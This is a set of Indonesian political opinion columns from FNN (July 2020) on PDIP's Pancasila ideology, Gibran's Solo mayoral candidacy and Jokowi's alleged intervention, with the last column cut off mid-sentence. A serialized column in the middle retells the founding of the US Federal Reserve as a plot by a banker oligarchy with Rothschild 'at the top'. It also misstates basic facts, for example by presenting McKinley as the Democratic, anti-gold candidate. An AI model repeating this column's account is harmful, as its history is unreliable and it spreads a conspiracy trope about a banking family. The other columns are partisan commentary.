by M. Rizal Fadillah Jakarta FNN – Rabu (22/07). Ketua Umum Partai Demokrasi Ondonesia Perjuangan (PDIP) Megawati Seoakrnoputri dalam pidato tahun 2005 menegaskan bahwa, “ideologi partai PDIP adalah Pancasila 1 Juni 1945”. Bahkan Megawati agak "menafikan" Pancasila 18 Agustus 1945. Demikian berita dilansir oleh berbagai media saat itu. Antara lain termuat di Kompas.com. Penegasan bahwa Pancasila 1 Juni 1945 sebagai ideologi dari PDIP sesuai dengan hasil keputusan Kongres II Bali tahun 2005 lalu. Nah, kini dengan reaksi keras, khususnya dari umat Islam terhadap Rancangan Undang-Undang Haluan Ideologi Negara (RUU HIP) yang diinisiasi oleh PDIP dengan isu komunisme tersebut, maka masalah Pancasila 1 Juni 1945 mengemuka. Masalah ini muncul dalam Pasal 7 RUU HIP tersebut. Akibatnya, PDIP dimasalahkan aspek visi, misi dan platform perjuangannya. Sulit untuk dipungkiri bahwa perjuangan menjadikan Pancasila 1 Juni 1945 tersebut, dominan dalam sistem politik telah dilakukan oleh PDIP. Dikeluarkan Perpres No 24 tahun 2019 oleh Jokowi adalah sukses perjuangan. Hasilnya, tanggal 1 Juni ditetapkan sebagai hari lahir Pancasila. Juga ditetapkan sebagai hari libur nasional, dan diupacarakan secara resmi. Justru di sinilah perjuangan yang dinilai gagal oleh PDIP adalah RUU HIP yang digempur habis oleh masyarakat, khususnya umat Islam. RUU "pengganti" yang diajukan oleh Pemerintah ternyata masih berfilosofi perjuangan pada Pancasila 1 Juni 1945. Konsiderans RUU BPIP butir a dan b cukup membuktikan keinginan tersebut. Produk Kongres PDIP ke II Bali menjadi pertanyaan ketatanegaraan. Misalnya, bolehkah ada ideologi Pancasila lain yang diperjuangkan oleh partai politik, selain Pancasila yang sudah ada dan berlaku? Seperti Pancasila yang tanggal 1 Juni 1945? Jika boleh, maka bisakah ada partai politik di negeri kini yang menjadikan ideologi perjuangannya adalah Pancasila 22 Juni 1945 atau Piagam Jakarta? Bila tidak, bisakah masuk kategori makar, dengan ancaman hukuman 20 tahunkah ? Sedikit banyak ideologi perjuangan seperti ini dapat menggoyahkan kedudukan Pancasila tanggal 18 Agustus 1945. Untuk itu, bila hal ini diabaikan atau tidak dianggap masalah, maka ideologi Pancasila memasuki fase reinterpretasi atau mungkin reformulasi. Pancasila akan menjadi diskursus yang bersifat "debatable". Dengan demikian, telah mendorong kemunduran dalam bernegara. Kini RUU HIP dicoba untuk diubah menjadi RUU BPIP. Namun pastinya RUU DPIP telah menjadi penambah masalah dalam konteks ideologi Pancasila. Sebelum menjadi kasus hukum di Mahkamah Konstitusi, maka baiknya masalah status Ideologi Pancasila 1 Juni 1945-nya PDIP yang menjadi ideologi partai, yang hendak diperjuangkan, mestinya didiskusikan oleh para pemerhati, khususnya ahli Hukum Tata Negara. Pembahsan bisa di lingkungan akademis maupun di ruang publik. Makarkah idelogi PDIP? Ini persoalan serius bangsa. Penulis adalah Pemerhati Politik dan Kebangsaan.

Gibran vs Wong Solo, Siapa Menang?

Oleh Mochamad Toha Jakarta, FNN - Jejak digital mencatat, dunia politik Indonesia dibuat heboh soal kemenangan “kotak kosong” dalam Pilkada Kota (Pilwali) Makassar, pertengahan 2018. Suara kotak kosong melibas suara koalisi parpol dari pasangan Munafri Arifuddin – Andi Rachmatika Dewi (Appi-Cicu). Awal munculnya suara kotak kosong di Makassar setelah Mahkamah Agung (MA) mencoret pasangan Mohammad Ramdhan Danny Pomanto – Indira Mulyasari (DIAmi) dari kontestasi Pilwali Makassar. Atas putusan itu, Pilwali Makassar akhirnya diikuti satu pasangan. Yakni: Munafri Arifuddin – Andi Rachmatika Dewi (Appi-Cicu). Dalam putusannya, MA beranggapan, Danny Pomanto selaku petahana dianggap menggunakan jabatannya untuk melakukan kampanye terselubung dalam program pemerintahannya. Hal ini dianggap majelis hakim yang diketuai Agung Supandi merugikan pasangan lainnya. Karena pertimbangan tersebut, MA lalu mencoret Keputusan KPU Nomor 15 Tahun 2017 tentang Perubahan atas PKPUNomor 3 Tahun 2017 tentang Pencalonan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan/atau Wali Kota dan Wakil Wali Kota. Maka tinggallah pasangan Appi-Cicu yang melaju sendiri menuju kursi Walikota Makassar. Tapi, pada 27 Juni 2018 semua orang tersentak, pundi-pundi suara kotak kosong di Makassar mengalir deras. Berdasarkan hasil rekapan dari KPU Kota Makassar per kecamatan, kotak kosong menang atas pasangan Appi-Cicu. Dari rekapitulasi tersebut, pasangan Appi-Cicu total memperoleh 264.071 suara, dan kotak kosong 300.969 suara. Drama saling klaim pendukung kotak kosong dan kelompok App-Cicu sempat terjadi pada sore hari setelah pemungutan suara berlangsung. Klaim pertama muncul pada sore hari dari arak-arakan massa di jalan protokol Makassar yang menyuarakan kemenangan kotak kosong. “Hidup kotak kosong, kotak kosong menang di Makassar,” teriak para massa yang berkonvoi di sepanjang jalan, seperti dilansir Detik.com, Kamis (27 Des 2018 13:53 WIB). Mereka pun memberikan simbol kosong di jarinya ketika melintasi jalan. Sementara itu, Appi dalam orasinya di hadapan pendukung mengklaim memenangi Pilwali Makassar dengan memperoleh suara lebih banyak dari kotak kosong. Ia mengklaim Makassar telah memiliki pemimpin baru dan menyebut menang sebesar 52 persen. Sengketa Pilwali ini sempat dibawa ke MK oleh pasangan Appi-Cicu. Namun, suara kotak kosong di gedung MK ini tetap nyaring berbunyi. Dalam putusan MK, disebutkan perolehan suara Appi-Cicu adalah 264.245 suara. Sedangkan perolehan suara yang 'tidak setuju' (kolom kosong) adalah 300.795 suara. Jadi, perbedaan perolehan suara antara pemohon dan suara yang “tidak setuju” (kolom kosong) adalah 300.795 suara - 264.245 suara = 36.550 suara atau lebih dari 2.825 suara. “Dengan demikian, jumlah perbedaan perolehan suara antara Pemohon dengan suara yang 'tidak setuju' (kolom kosong) untuk bisa diajukan permohonan PHPU Pilwali Makassar 2018 adalah paling banyak 0,5% x 565.040 suara (total suara sah) = 2.825 suara,” tegas MK. Pasca putusan MK itu, hingga kini belum ada Walikota definitif di Makassar. Setelah masa jabatan Mohammad Ramdhan Pomanto berakhir pada 8 Mei 2019 lalu, jabatan Walikota Makassar selanjutnya dipegang Pelaksana Harian dan Penjabat Walikota. Muhammad Anshar (Pelaksana Harian, 8-13 Mei 2019), Muhammad Iqbal Samad Suhaeb (Penjabat, 13 Mei 2019-13 Mei 2020), Yusran Jusuf (Penjabat, 13 Mei-26 Juni 2020), dan Rudy Djamaluddin (Penjabat, 26 Juni-Petahana). Mungkinkah “Sejarah Pilwali Makassar 2018” tersebut bakal terjadi pada Pilwali Solo 2020 mendatang? Apakah Wong Solo berani melakukan perlawanan terhadap putera Presiden Joko Widodo, Gibran Rakabuming Raka yang berpasangan dengan Teguh Prakosa? Faktanya, Presiden Jokowi dan DPP PDIP akhirnya berhasil “mengalahkan” aspirasi DPC PDIP Kota Solo yang sebelumnya sepakat mengusung Achmad Purnomo – Teguh Prakosa (Puguh) sebagai pasangan bakal calon pada Pilwali Solo 2020. Ketum PDIP Megawati Soekarnoputri memberikan rekomendasi kepada Gibran Rakabuming Raka – Teguh Prakosa untuk maju pada Pilwali Solo 2020. Menjelang pengumuman, ternyata Gibran sempat berkontak dengan ayahnya, Presiden Jokowi. “Bapak sudah (komunikasi), lewat telepon saja, mendoakan semuanya lancar,” kata Gibran kepada wartawan di kantor DPC PDIP Solo, Jumat (17/7/2020). Lewat sambungan telepon, Presiden Jokowi mendoakan agar proses pengumuman rekomendasi berjalan lancar. Sejumlah nama mengantungi rekomendasi PDIP untuk bertarung dalam kontestasi Pilkada pada 9 Desember 2020 mendatang di wilayah masing-masing. Dari sejumlah nama itu tak pelak nama Gibran sebagai bakal calon Walikota Solo menjadi sorotan. Inspirasi Makassar Sudah bukan rahasia lagi, Gibran yang akhirnya terpilih dan mendapat rekomendasi PDIP untu maju Pilwali Solo 2020 tidak lepas dari “intervensi” Presiden Jokowi. Sebagai basis PDIP yang diwakili oleh DPC PDIP Solo, jelas ini tidak sesuai aspirasi Wong Solo. Apakah Wong Solo sudah siap menjadi bagian dari “kotak kosong” yang bakal menghadapi Gibran – Teguh, seperti halnya rakyat Makassar saat Pilwali 2018 lalu? Para aktivis di sana ikut mengampanyekan kotak kosong. Warga dari mulut ke mulut membisikkan, bahkan meneriakkan: Menangkan kotak kosong! Militansi perlawanan yang luar biasa, hingga mampu menumbangkan dominasi parpol dan keangkuhan penguasa. Bagaimana dengan Solo? Bisa dan tetap mungkin seperti di Makassar. Kotak kosong punya peluang mempecundangi Gibran. Meski banyak suara pesimistik. Alasannya pun beragam. Karakter Wong Solo beda dengan Makassar. Solo basis PDIP. Oligarki sudah sangat menguat. Nepotisme menebal. Juga faktor KPU dan pemihakan aparatur. Pesimisme yang diringi banyak satire, olok-olok, dan kejengkelan warganet, selalu menghiasi timeline. Umumnya menyindir: sudahlah, lantik langsung saja tanpa nyoblos. Buat apa buang duit membiayai Pilkada yang sudah jelas siapa pemenangnya. Tapi, pada saat bersamaan juga banyak yang mengungkap inspirasi dari Makassar. Kalangan perindu keadilan mulai membisikkan dengan ungkapan, “Kita lawan oligarki kekuasaan. Kita tumbangkan Gibran”. Jangan remehkan akal sehat Wong Solo. Mungkin tidak semilitan Makasar. Perlawanan tidak tampak diumbar. Mereka akan melakukannya dengan “senyap”. Alon-alon asal kelakon bisa menjadi energi dahsyat dalam perlawanan diam-diam. Jangan juga remehkan Ahmad Purnomo yang disalip Gibran. Dia politisi senior PDIP Solo yang punya basis akar rumput. Sebuah survei membuktikan, elektabilitas Purnomo jauh di atas anak Jokowi itu. Purnomo lebih 40 persen. Gibran tak sampai 20 persen. Kekecewaan Purnomo menjadi kekecewaan pendukungnya. Politisi senior PDIP itu bisa saja dilihat sebagai sosok yang dizalimi. Dan itu bisa menarik simpati publik. Kotak kosong akan menjadi representasi Purnomo. Kotak kosong menjadi simbol perjuangan. Jangan juga remehkan PKS. Partai yang melawan arus ini bisa memainkan perannya untuk keunggulan kotak kosong. PKS punya modal suara senilai 5 kursi. Modal politik yang bisa gandakan dengan main elegan: cantik, tegas, punya nyali. Jangan remehkan pula umat perindu keadilan di Solo. Mereka eksis dan acap menjadi tulang punggung demo-demo besar di Solo menyuarakan keadilan. Kotak kosong menang bisa jadi diartikan Wong Solo menang dan melawan oligarkhi. *** Penulis Wartawan Senior

Jinakkan Segera “Independensi” Bank Sentral

by Dr. Margarito Kamis SH. M.Hum. (Bag. Ketiga) Jakarta FNN – Senin (20/07). Gigih, cermat, deteil memperhitungkan semua hal. Bekerja dalam formasi kartel antara sesama oligarki, terlihat menjadi andalan kelompok International Bankir Amerika. Mengambil dari sejarah, mereka tahu kerja besar untuk mendirikan bank sentral harus merangkak, melingkar dan bertahap tetapi dengan spektrum yang pasti. Canggih merancang taktik. Itulah yang diperlihatkan mereka disepanjang jalan berliku ini. Mereka anti gold, tetapi menampilkan diri sebagai pro gold. Mengontrol partai politik, itu pulalah taktik memuluskan jalan mereka menuju puncak tujun. Siapa mengontrol Republik, dan siapa mengontrol Demokrat, jelas pada semua deteilnya. Kalau tidak dapat dikatakan licik, ya oligarki ini cerdas ini. Menanam orangnya dalam pemerintahan dan parlemen. Ttulah salah satu cara mereka. Menggunakan uang negara untuk kepentingan mereka, teridentifikasi menjadi cara jitu mereka menggolkan The Federal Reserve. The Federal Reserve, Kemenangan Bankir Murray N. Rothbard pada artikel berjudul The Origin of The Federal Reserve, yang dimuat di The Quarterly Jorunal of Austrian Economic Vol. 2 Nomor 3, 1999, mengidentifikasi dengan sangat jelas usaha itu. Menurutnya pengawasan yang diatur dalam National Banking Act 1864, dan state bank mengontrol bank notes dan penampungan pajak, dinilai bankir merusak mereka. Tidak itu saja, pemaksaan state bank kepada bank nasional –swasta- berdasarkan National Banking Act itu. Mereka dipaksa menerima bank notes satu dengan lainnya. Juga menerima permintaan deposito sebagai tanpa menyesuaikan dengan pasar. Ini dinilai sangat merusak bankir swasta. Bagi mereka cara ini mengesampingkan proses yang telah berlangsung berdasarkan mekanisme pasar. Dalam kenyataannya, oligarki ini telah terbiasa mengandalkan inflasi sebagai cara terbaik menciptakan uang atau keuntungan.” Itu sebabnya ketika tahun 1870 diberlakukan mata uang coin yang disponsori Partai Demokrat, sebagai cara menghentikan inflasi. Mereka tidak suka. Ini harus dihentikan. Tidak idenpenden, dan tidak leluasaa mengontrol inflasi, sama dengan tidak dapat mempermainkan pasar, untuk dan demi keuntungan mereka. Tidak independen mengatur kebijakan bisnis perbankan, jelas memukul mereka. Padahal ini adalah andalan mereka. Kenyataannya sejak perang saudara itu telah berkembang bentuk baru corporasi. Bentuk baru korporasi itu adalah kartel. Kartel korporasi diparkarsai untuk pertama kalinya oleh J.P. Morgan. Bagaimana menyukseskan usahanya? Terlihat jelas, bukan hanya adanya pertalian, tetapi oligarjki inilah yang memutuskasn siapa yang berkuasa. Untuk tujuan itu oligarki mengerahkan semua sumberdaya politik mengatur pemilu presiden tahun pada 1896. Dukung McKinley Jadi Presiden 1896 Rockeffeller dan J.P. Morgan, dua bankir papan atas kala itu beraksi. Mereka bedua yang memimpin permainan ini. Rockeffeller, pemilik standar Oil, dan sejumlah Bank telah menjelma menjadi kekuatan terbesar yang mengendalikan Partai Republik. Diseberang sana, dalam sifat pseudo, ada J.P. Morgan. Sososk ini yang mengontrol Partai Demokrat. Permain dimulai dengan mengatur isu yang harus digemakan capres dalam konvensi masing-masing partai. Permainannya terlihat cukup canggih. Rockkeffeler telah mengubah platform Partai Republik, yang semula anti gold standard, berubah menjadi pro gold. Morgan dan Mark Hanna, segera jumpa William McKinley, kandidat Calon Presiden Partai Demokrat. Konvensi Demokrat pun berlangsung, dan William McKinley segera menghebohkan Amerika dengan gagasan anti gold, interfensionis terhadap dunia luar, dan proteksi terhadap ekonomi Amerika. Landscape politik berubah total. Uniknya, William Jenings Bryant yang menjadi tokoh utama Demokrat yang anti gold, diam saja. Dan William Meckinley menang pilpres. Permainan juga bergerak naik sesudah itu. Bankir melakukan apa yang disebut Indianapolis Monetary Convention. Convensi ini mendesak McKinley segera mengambil kebijakan: (i) Melanjutkan kebijakan gold standar. (ii) Menciptakan satu sistem baru yang elastis tentang kredit bank. Tak lama setelah itu, Comisi ini mendesak McKinley membentuk Komisi Moneter baru. Isu terakhir tak dipenuhi McKinley. Tetapi tahun 1900, akhir dari masa jabatan McKinley, Kongres mengeluarkan Gold Standar Act 1900. Dan atas nama pro gold, mereka memborong gold dari berbagai penjuru dunia, terutama Philipine, Meksiko dan Kuba. Motor kampanye pembelian ini dipimpin oleh Charles Conand, seorang Jurnalis dan Mark Hannah, kaki tangan Rockeffeler. Belum tuntas, tetapi masa jaatan McKinley segera berakahir dan pemilu presiden untuk jabatan kedua segera datang. McKinley tetap capres dengan Theodore Rosefelt menjadi wakilnya. McKinley Menang. Kenyataannya McKinley hanya bisa bekerja selama enam bulan sejak dilantik pada tangal 4 Maret 1901. McKinley ditembak oleh Leon Czolgosz pada tanggal 13 September, 1901, dan mati keesokan harinya. Krisis Keuangan 1907 Theodore, wakilnya melanjutkan sisa masa jabatannya. Berbeda dengan McKinley, Theodore tidak mengistimewakan Morgan, Rockeffeler dan kawan-kawan. Ia memusuhi pada tingkat tetentu korporasi besar, bertipe kartel. Tetapi Bankir-bankir ini tetap melanjutkan permainannya, sampai memasuki pemilihan presiden lagi. Pemilihan presiden 1904 ini diikuti juga oleh Theodore, dan menang. Ia berkuasa hingga 1908. Uniknya setahun sebelum masa jabatannya yang kedua berakhir, monster keuangan yang bernama inflasi menggerogoti Amerika. Ini dikenal dengan Financial Panick 1907. Inflasi ini terlihat menjadi anak tangga terdekat ke terbentuknya The Federal Reserve. Jalannya sedikit merangkak, tetapi sukses yang mengagumkan dimulai dari sini. Jessie Romero dalam artikel Jekyll Island: Where the Fed Began, menunjukan pria yang menjadi figur kunci politik J.P Morgan, segera muncul kepermukaan. Woodrow Wilson, profesor ilmu hukum administrasi negara dari Princeton University, mengawali kemunculannya ekspektasi Morgan. Wilson, seperti ditulis Mullins menyatakan semua kekacauan ini dapat diatasi, bila kita membuat satu Komite yang terdiri enam orang, seperti Morgan untuk menanganinya. Nelson Aldrich menyambut, bahkan memastikan gagasan Woodrow Wilson itu. Nelson, Senator Republik di Senat, sekaligus ketua Komisi Keuangan Senat, segera mengambil langkah. Yang dilakukan Nelson adalah mengajukan RUU National Currency Commission. RUU ini disetujui Senat jadi UU. Segera setelah itu, Theodore Rosevelt membentuk National Currency Commission 1908, sebelum mengakhiri jabatannya yang kedua. Komite ini, hebatnya diketuai sendiri oleh Nelson. Dibantu oleh Shelton, sekertarisnya, J. P Morgan, dan orang-orang Morgan lainnya seperti Charles Dalton, Henry P. Davison. Frank Fanderlip, President National City Bank of New York juga ikut bergabung dalam Komite ini. Komite ini, menariknya segera melakukan studi banding. Yang dipilih adalah bank-bank di Eropa. Dalam kenyataannya Bank-bank yang dijadikan obyek studi itu dikelola oleh saudara-saudara Rothschild. Dalam perjalanan ke Eropa, ikut bergabung Paul Warburg, sosok penentu dalam Kuhn and Loeb, milik Jacob Shif, orang yang mendanai Revolusi Rusia 1917. Pembaca FNN yang budiman, kembali dari Eropa, Tim “National Currency Commission” yang lebih merupakan Tim Morgan, setidaknya Tim Bankir ini, tidak langsung ke New York. Mereka ke Jekyll Island. Ditempat inilah Bill of The Federal Reserve disiapkan. Cukup cermat, RUU The Federal Reserve yang telah disiapkan itu, tidak langsung dimasukan ke Senat. Medan politik harus ditangani, dibereskan terlebih dahulu. Rakyat harus dicuci, dikecohkan otaknya dulu dengan cara propaganda, bentuk jahat dari sosialisasi khas Indonesia. Kerja pengecohan, yang sekali lagi kalau di Indonesia disebut sosialisasi, ditangani oleh satu, bukan Komite, tetapi liga. Dalam identifikasi Mullin liga ciptaan Paul Warburg ini, semula diberi nama “Citizen League” sebelum akhirnya diubah menjadi “National Citizen League”. Cermat, harus dikatakan begitu. Liga ini tidak dipimpin oleh Bankir, mahluk yang dibenci itu, tetapi profesor dari universitas ternama. Profesor Laughlin dari University of Chigaco. Universitas yang disokong Rockeffeler ini, yang ditunjuk memimpin liga. Ia dibantu, dalam semangat sebagai juru bicara Nelson, oleh Profesor O.M. Sprague dari Harvard University. Canggih kan kerja mereka. Masyarakat harus dikecohkan, dijauhkan dari kecurigaan terhadap usaha ini. Kata Paul Warburg kepada sahabatnya, untuk mencapai target itu, maka nama Cenral Bank tidak boleh digunakan. Nama itu diganti dengan The Federal Reserve. Ada pro dan ada yang kontra. Tetapi bukan itu point kuncinya. Poin kuncinya adalah gagasan ini telah tersaji di tengah masyarakat. Telah tersosialisasi dengan sangat baik dan rapi. Itu kuncinya. Sosialisasi hanya dirancang untuk menyajikan gagasan itu ditengah masyarakat. Bukan untuk mendapatkan persetujuan masyarakat. Tidak lebih. Dukung Woodrow Wilson 1913 Sangat terencan dan sistimatis. Hasil studi dan draf RUU yang telah disiapkan di Jekyl Island, tidak langsung dilaporkan kepada Presdien dan Congres. Gagasan ini, kalau di Indonesia akan disebut “sosialisasi” dipresentasikan pada masyarakat perbankan di berbagai penjuru Amerika. Berbaju resmi sebagai National Currency Committee, maka tindakan sosialisasi sepanjang 1908-1911 dibebankan pada uang Negara. Dalam tiga tahun Komite ini menghabiskan uang negara, menurut catatan Mullins sebesar $207.130. Hasil kerja National Currency Committee itu, dilaporkan ke Congres pada tanggal 15 Desember 1911 sebagai Aldrich Plan. Aldrich Plan ini, entah telah tersistem secara diam-diam atau merupakan kebetulan yang istimewa, menyandra, setidak mengakibatkan kongres tidak punya pilihan, selain menjadikannya sebagai rujukan utama pembentukan The Federal Act 1913. Cukup hebat, Aldrich, setelah plannya diterima Congres, mengakhiri masa jabatannya sebagai senator. Berantakankah plannya? Tidak. Dan ini yang hebat. Charter Glass dari Demokrat menggantikan posisinya, tentu pada awal pada tahun 1912. Pada titik ini muncul sebuah pertanyaan, mengapa Currency Committee begitu lama bekerja? Mengapa tidak segera diajukan ke Kongres, sehingga dapat segera membahasnya sebagai RUU prakarsa Kongres? Oligarki ini terlihat memperhitungkan kenyataan politik secara cermat. William Howard Taft, professor hukum tata negara, yang sedang berkuasa sebagai Presiden di tengah isu ini, dikenal sebagai Presiden anti Bank Sentral. Orang ini, sedemikian antinya terhadap Bank Sentral, sehingga menulis dalam biografinya “ia ingin menuliskan di Nisannya kelak setelah mati sebagai Presiden yang anti Bank Senral.” Taft adalah kegagalan untuk oligarki ini menggolkan The Federal Reserve Act. Caranya menunda pembahasan RUU itu. Momentumnya harus dibuat pasti. Pada titik inilah letak signifikannya memperhitungkan Woodrow Wilson. Sebagaimana ditulis Mullins, dan telah dikutip pada uraian sebelumya, orang inilah yang mengawali gagasan Currency Commission. Tidak itu saja. Dia juga yang munculkan nama J.P. Morgan masuk ke dalam Commite itu. Dalam rangka menunda pembentukan UU itu, kongres menyelenggarakan serangkaian hearing. Satu di antara hearing itu diprakarsai oleh Arsene Pujo, ketua subkomite of House of Banking and Currency Committee. Komite ini bekerja selama lima bulan, dengan menghasilkan tidak kurang dari 500 halaman hasil kerja. Logis saja, karena Komite, yang dikenal dengan “Komite Pujo” ini bekerja selama lima bulan. Menariknya Pujo dikenal sebagai juru bicara, setidaknya representasi kepentingan oligarki minyak Rockeffeler. Demokrasi pemilu terlihat tak bisa berkelit dari cengkeraman Rockeffeler yang telah mengontrol Republik. Dan J. P. Morgan yang mengontrol Demokrat, yang pada tahun 1896 memunculkan McKinley menjadi Presdien. Pada pemilu kali ini menyajikan taktik baru. Republik memunculkan dua figure, Taft dan Theodore Rosevelt, mantan presiden dalam konvensi partai Republik. Rosevelt dikalahkan oleh Taft dalam konvensi. Mundurkah Rosevelt dari pencalonan? Tidak. Rosevelt tetap maju dengan partai independen, partai progresif. Taft maju dengan Republik. Demokrat memunculkan Woodrow Wilson, profesor yang sejak tahu 1907 telah menominasikan J. P Morgan menyelesaikan masalah keuangan Amerika. Bukan Morgan, juga bukan Rockeffeler yang mengarap Wilson. Tugas itu diserahkan kepada Kolonel Edward Mandel House. Pria ini, mewarisi bisnis Cooton dari ayahnya di Texas, telah menyukseskan tiga koleganya jadi Gubernur Texas. Ia bertemu dengan Wilson untuk pertama kali 31 Mei 1912 di Hotel Gotham. Bertindak sebagai utusan Texas, ia menominasikan Wilson dalam konvensi Demokrat. Kesamaan House dan Wilson, diakui sendiri oleh House, tulis George Sylvester terletak pada temperamen dan hasrat mereka terhadap kebijakan publik. Kepada George Sylvester, House menambahkan, anda tahu bagaimana mewujudkan hasrat itu? Dijawab sendiri oleh House, mengontrol pembentukan UU, sehingga memastikan ide liberal dan progresif mereka ditulis dalam UU itu. Demokrasi pemilu bekerja dengan semangat “London Connection” jaringan bankir oligarkis. Jaringan berisi, beberapa di antaranya adalah Morgan, Rockeffeler, Paul Warburg, Jacob Shift, Frank Venderbild, Bernard Barus, Edward Mandel House, dengan Rotschild di puncaknya. House memberi sumbangan dalam kapanye Wilson sebesar U$ 35.000. Berrnard Baruch memberi sumbangan sebesar U$ 50.000. Penyumbang lain yang tidak disebut jumlah sumbangannya adalah Samuel Untermeyer, Corporate layer kaya raya ini. Orang ini pernah dibayar sebesar U$ 775.000 dalam menangani merger antara Copper Company and Boston Consolidated And Nevada Company. Sebelum memberikan keterangan di Komite Pujo, Untermeyer lebih dahulu menemui Jacob Schif. Kepada Schiff, Urtermeyer menanyakan bagaimana operasi Banking House Kuhn and Loeb. Jacob Schif diidentifikasi Senator Robert L. Owen sebagai representasi keluarga Rothschild di Amerika. Dalam itu, Untermeyer sulit dikesampingkan sebagai orang London Connection. Demokrasi pemilu yang hebat, yang disuntik dan dipandu dengan semangat “London Conection” khas para oligarkis, menempatkan Wilson teratas dalam perolehan suara. Tepatnya Wilson mendapatkan suara sebesar 409. Rosevelt 167 suara. Dan Taft, presiden incumbent yang sangat populer itu hanya mendapat suara 15. Rakyat tak percaya. Tetapi itulah demokrasi yang diagung-agungkan, dalam nada naïf, di tanah air tercinta ini. Waktu memetik hasil semakin cepat datang. Aldrich Plan (ingat Aldric Senator dari Republik), segera diajukan secara resmi sebagai RUU, tetapi telah berganti baju menjadi Charter Glas Bill. Charter adalah Senator Demokrat, juga memimpin komite keuangan di Kongres. Dia menggantikan Senator Aldrich dari Partai Republik. Charter Glass resmi mengajukan The Federal Reserve Bill Januari 1912, dan Woodrow Wilson terpilih jadi Presiden Desember 1912. Dia dilantik tanggal 4 Maret 1913. Dimasa Wilson inilah Charter-Gas Bill, yang kelak menghasilkan The Federal Reserve Act 1913 dibahas, dan disetujui jadi UU 18 September 1913. Bank Sentral, yang seabad sebelumnya berfungsi sebagai clearing house of finance and currecy, dalam kasus Bank of Englad, tercipta dengansempurna. Sempurna karena diberi status independen. Ini kreasi hebat, karena dianalogikan dengan status konstitusional Mahkamah Agung. Sempurna. (bersambung) Penulis adalah Pengajar HTN Universitas Khirun Ternate.

Tanpa Intervensi Jokowi, Gibran Sulit Menang

by Tony Rosyid Jakarta FNN – Senin (20/07). Sudah menjadi pola kekuasaan. Selalu intervensi dalam proses politik. Mulai dari Mega, SBY hingga Jokowi. Terutama pencalonannya di periode kedua. Yang seperti itu bukan lagi menjadi rahasia umum. Lalu, bagaimana jika putra mahkota yang menjadi calon? Apakah sang bapak akan intervensi? Pertanyaan ini muncul sebagai respon terhadap ramainya pendapat publik terkait pencalonan Gibran Rakabuming Raka, putra sulung Presdien Jokowi yang akan maju sebagai calon Walikota Solo. Semula rekomendasi DPC PDIP diberikan kepada Achmad Purnomo. Karena Purnomo adalah kader PDIP yang saat ini menjabat sebagai wakil walikota Solo. Purnomo juga Ketua DPD PDIP Kota Solo. Dukungan kepada Purnomo ini berdasarkan hasil penjaringan dan penyaringan dari semua kepengurusan Anak Ranting maupun Anak Cabang. Tetapi, belakangan nama Purnomo tergusur oleh Gibran, putra sulung Jokowi. Pertanyaan sederhananya, apa mungkin Gibran bisa menggeser nama Purnomo tanpa keterlibatan Jokowi? Kecurigaan ini semakin menguat ketika Purnomo dipanggil ke istana, dan diberi tahu bahwa DPP PDIP urung mencalonkannya. Kok dipanggil ke istana? Bukannya ini urusan pencalonan Si Sulung Gibran? Kan bukan urusan rakyat? Tepatkah menggunakan istana negara untuk kepentingan pencalonan Sang Putra Sulung? Langkah Jokowi memanggil Purnono ke istana negara mendapat banyak kritik. Dianggap menggunakan fasilitas negara untuk kepentingan partai. Bahkan untuk kepentingan keluarga. Ini jelas ngawur dan ngaco. Purnomo kecewa? Sebagai manusia biasa, wajar jika ia kecewa. Kecewa "ala Solo". Menggunakan bahasa "satire" dalam pengungkapkannya. "Saya sudah menduga akan seperti ini", katanya kepada awak media. Bukan hanya Purnomo, para kader partai banteng di Solo mungkin juga merasakan hal yang sama. Kecewa! Purnomo itu senior di PDIP. Kader tulen PDIP. Tentu saja jauh lebih berpengalaman dan matang. Setidaknya Purnomo saat ini menjabat sebagai Wakil Walikota Solo. Impian seorang Wakil Walikota pasti ingin jadi Walikota. Kesempatan itu pupus, dan diserobot oleh Gibran yang notabene baru menjadi kader di PDIP dalam hitungan bulan. Adakah kompensasi yang ditawarkan Jokowi kepada Purnomo? Inilah yang jadi rumor pasca Purnomo keluar dari istana. Jika benar ada kompensasi, sangat tepat jika Purnomo menolaknya. Penolakan Purnomo bisa jadi referensi bagi pendidikan karakter para politisi. Pertama, ini soal harga diri. Selama ini, dunia politik kita sudah tak lagi kenal harga diri. Kedua, soal prinsip. Secara prinsip, Purnomo lebih layak maju daripada Gibran. Soal prinsip ini harus dipegang teguh. Tanpa memberi ruang untuk dinegosiasi. Ketiga, Purnomo mesti sadar ini urusan pribadi dan partai. Bukan urusan negara. Maka, tak tepat melibatkan kompensasi apapun dari negara. Lalu, apa deal Mega dengan Jokowi terkait rekomendasi PDIP kepada Gibran? Tak ada makan siang gratis. Dalam politik, setiap keputusan ada transaksinya. Apa ada hubungannya dengan RUU HIP yang diperlunak Jokowi jadi RUU BPIP? Boleh jadi, itu salah satunya. Jika begitu, apakah ini memperkuat bukti bahwa Jokowi terlibat dalam pencalonan Gibran? Ayah mana yang tega membiarkan sang anak bertarung sendirian. Apalagi Gibran masih muda dan belum cukup pengalaman. Karikatur majalah tempo dengan foto Gibran naik tangga yang dipengangi Jokowi seperti menggambarkan situasi hubungan ayah-anak dalam Pilkada Solo. Apa alasan Jokowi turut campur? Anda bayangkan jika Gibran kalah. Ini akan menjadi tamparan politik bagi Jokowi. Selain karena Jokowi pernah dua periode jadi walikota Solo, juga posisinya sekarang sebagai presiden. Apa kata pendukungnya jika Gibran kalah? Akan jadi bullyan banyak orang. Belum lagi jika Gibran ngambek karena tak serius Sang Presiden membantunya. Bisa berabe! Asy'ari Usman, seorang wartawan senior malah menyarankan agar Jokowi membuat timses di Istana. Twitter atas nama Don Adam68 juga mengusulkan agar Jokowi membuat Keppres untuk menetapkan kemenangan bagi Gibran. Sehingga, tak harus keluar banyak biaya untuk pemilu. Ungkapan Asy'ari Usman dan Don Adam68 itu menunjukkan apatisme pilkada di Solo. Mengingat istana selama ini dianggap terlalu ketat mengontrol pergerakan rakyat. Mulai dari kampus, pers, parlemen, ormas, hingga suara pemilih. Aparat tak segan beroperasi untuk mengkoptasi suara pemilih. Berbasis pada pengalaman pemilu sebelumnya, terutama pilpres, rasa-rasanya kemenangan Gibran sudah di depan mata. Sebab ini akan menjadi taruhan nama Sang Ayah. Kecuali jika terjadi gelombang perlawanan yang masif dan menjadikan Gibran sebagai "musuh bersama". Itu baru akan sangat seru. Jika tidak, kekuasaan dan kekuatan uang akan sangat mudah untuk memenangkan Gibran. Walau begitu, jika kelak Gibran jadi walikota Solo, tetap saja tak akan sebaik nasibnya dengan Sang Ayah, yaitu Jokowi. Gibran 